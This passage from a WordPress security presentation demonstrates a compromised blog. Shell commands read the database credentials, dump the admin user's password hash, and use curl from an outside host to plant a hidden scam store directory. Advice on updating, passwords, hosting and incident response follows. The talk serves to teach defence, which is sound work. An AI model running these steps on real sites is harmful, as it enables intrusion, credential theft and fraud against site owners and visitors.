www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org |  | 2014-10-03 00:15:16 |  | 0 | admin |
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $ 



We can read the database credentials from wp-config.php and use these to get any information we want from the WordPress database.

Set up an online store

Let's download some HTML files onto the WordPress server to set up an online store in a hidden directory.

The URL for our store will be http://myblog2.catseye.org/wp-content/uploads/2014/10/.store

www-data@myblog2:/var/www/html $ curl -s -O http://www-personal.umich.edu/~markmont/awp/store.tar
www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar
www-data@myblog2:/var/www/html $ rm store.tar
www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store
index.html
shopkeepers.jpg
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10
www-data@myblog2:/var/www/html $ 
[!] Exiting. Bye ^^
root@badguy2: ~# 



Our online store

Now we're ready to send 15 million emails with the URL to our store!

Screenshot of the attacker's online store on the target web server

Questions?

This is the end of the presentation, but the slides that follow contain information on how to secure your WordPress site as well as reference material.

How to secure your WordPress site

Updating:

  1. Check for updates to WordPress, themes, and plugins at least once a week and perform the updates right away.

"But I don't want to break anything!"

You can download for free the BitNami Stack for WordPress from the Mac App Store for a very easy way to run a development WordPress site on your laptop.

A bit more work is using WAMP (Windows) or MAMP (Mac).

Or, for the most control, you can set up a server running Linux as a virtual machine on your laptop and use either a WordPress appliance or roll your own server.

How to secure your WordPress site

Password concerns:

How to secure your WordPress site

Password concerns:

Ars Technica published an article in March 2013 showing how easy it is to crack passwords.

If choosing words, don't use any phrase — make sure the words are unrelated to each other. Even obscure phrases are easy to crack.

You are protecting two things: make your password hard to guess, and if one of you passwords get stolen (from this or another site) make sure that the attacker cannot use it for anything else.

Because password cracking is so easy, it is also a good idea to limit where users can log in from. Do you really need to log in to your site — without using a VPN — from a coffee shop in Vietnam?

How to secure your WordPress site

Hosting and SSL:

Don't just select a host based on cost!

How to secure your WordPress site

Web server and filesystem:

How to secure your WordPress site

Miscellaneous:

Note that changing the database prefix won't stop the exploit we demonstrated today: the Metasploit exploit module determines the database table first before creating the new administrator user. However, changing the database prefix will stop other attacks and so is still worth doing.

Turning on DISALLOW_FILE_EDIT may be a little paranoid.

What to do if your site gets compromised

  1. Take the site offline (put it into maintenance mode). This prevents the attacker from doing further damage or resisting your attempts to regain control while you are fixing things.
  2. Notify your hosting provider so they can help.
  3. Make a backup of the compromised site in case you need to study it later.
  4. Look at the web server log files to determine how the attacker got in. This will help you know how to fix the problem and what else you might need to look for that the attacker did.
  5. Upgrade everything that can be upgraded.
  6. Remove any files, pages, posts, comments or processes added by the attacker. If in doubt as to whether you got everything, set up a new WordPress site from scratch and then restore your last known good backup into it.
  7. Change all passwords used by the site. Also change your hosting provider and database passwords.

How to minimize the severity of a compromise

Not using WordPress accounts for commenters removes a large trove of what are very probably horribly weak passwords associated with email addresses.

Keeping good notes serves several purposes: first, you'll have a record of how things are supposed to be, so you'll be able to tell if an attacker changed something; second, you'll be able to set up a new site with the same settings if needed without worrying if you got everything correct; third, it forces you to be more aware of the choices you've made and you'll have a clearer understanding of the big picture for your site.

WordPress vulnerabilities

The following sites are useful for finding information about WordPress vulnerabilities and exploits:

References

If you want to know about vulnerabilities and how attackers exploit them, the OWASP Top 10 list (above) is a good place to start.

Also of interest for advanced readers is the analysis of the PHP object serialization vulnerability that was one of the major vulnerabilities fixed in the September 2013 release of WordPress 3.6.1: